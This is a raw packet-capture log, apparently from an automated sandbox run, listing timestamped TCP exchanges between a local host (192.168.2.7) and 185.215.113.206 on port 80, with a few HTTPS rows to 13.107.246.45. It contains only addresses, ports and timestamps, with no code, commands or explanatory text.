Nov 19, 2024 20:05:46.064522982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064537048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064548969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064558029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064558029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064584970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064635038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064650059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064650059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064665079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064681053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064693928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064702988 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064702988 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064733982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064771891 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064805031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064817905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064831972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064857960 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064857960 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064889908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.064893961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064910889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.064940929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065021038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065025091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065035105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065047026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065052032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065067053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065110922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065116882 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065116882 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065145016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065145016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065148115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065206051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065213919 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065221071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065232992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065268993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065268993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065285921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065368891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065377951 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065391064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065403938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065416098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065438986 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065438986 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065511942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065529108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065540075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065542936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.065601110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.065601110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.094814062 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.100263119 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100311041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100322962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100363970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100363970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100495100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100552082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100564003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100600958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100640059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100640059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100667000 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100671053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100686073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100821972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100836039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100848913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100862980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100908995 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100908995 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100908995 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100939035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.100950956 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.100966930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101110935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101111889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101111889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101125002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101140022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101152897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101157904 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101165056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101186037 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101200104 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101351976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101422071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101434946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101464033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101464033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101464033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101485014 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101511955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101526022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101603031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101617098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101658106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101658106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101658106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101754904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101768970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101782084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101795912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101809025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101818085 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101823092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101865053 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.101963997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.101979017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.102134943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.102134943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.111850023 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.111881018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.111893892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.111987114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.111999035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112011909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112066031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.112066031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.112066031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.112066031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.112123013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112135887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112148046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112168074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112180948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112191916 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112205982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112335920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.112335920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.112335920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.112335920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.112412930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.112462044 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.123384953 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.134135962 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.149874926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.149900913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.149914026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150007010 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150021076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150033951 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150044918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150090933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150094032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150094032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150094032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150094032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150104046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150116920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150129080 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150163889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150163889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150212049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150234938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150247097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150259972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150279045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150336027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150336981 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150336981 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150365114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150376081 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150387049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150401115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150432110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150432110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150460005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150618076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150630951 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150641918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150652885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150667906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150679111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150686026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150691032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150696039 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150713921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150713921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150825024 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150851965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150865078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150876045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150886059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150897980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150909901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150921106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150933027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150944948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.150952101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150952101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150952101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.150952101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151001930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151113987 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151127100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151133060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151232004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151243925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151256084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151258945 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151288033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151299000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151310921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151330948 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151330948 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151330948 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151349068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151355028 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151366949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151369095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151380062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151424885 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151424885 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151424885 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151535988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151549101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151559114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151566029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151577950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151588917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151638985 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151638985 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151638985 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151638985 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151735067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151747942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151760101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151772976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151784897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151799917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.151854038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151854038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151854038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151854038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.151990891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152004004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152015924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152028084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152039051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152050018 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152050018 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152055025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152067900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152087927 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152162075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152175903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152230024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152241945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152249098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152249098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152292967 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152339935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152352095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152364016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152374983 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152386904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.152446032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152446032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.152446032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.159993887 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.164890051 CET	52493	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.164900064 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.165576935 CET	52493	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.165582895 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.178752899 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.179020882 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.187397003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187457085 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187494993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187508106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187551022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187562943 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187575102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187599897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187599897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187599897 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187676907 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187689066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187701941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187714100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187726021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187736988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187747955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187747955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187747955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187817097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187828064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187839031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.187947035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187947035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.187962055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188261986 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188261986 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188293934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188370943 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188384056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188395977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188416958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188416958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188505888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188524008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188534975 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188539028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188539028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188548088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188559055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188570976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188582897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188683033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188683033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188683033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188683033 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188841105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188872099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188885927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.188937902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.188937902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:46.189630032 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.189660072 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.191082001 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.191096067 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.191227913 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.191251993 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.191646099 CET	52496	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.191652060 CET	443	52496	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.192866087 CET	52495	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.192883015 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.193036079 CET	52495	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:46.193039894 CET	443	52495	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:46.198478937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198502064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:46.198513031 CET	80	52448	185.215.113.206	192.168.2.7
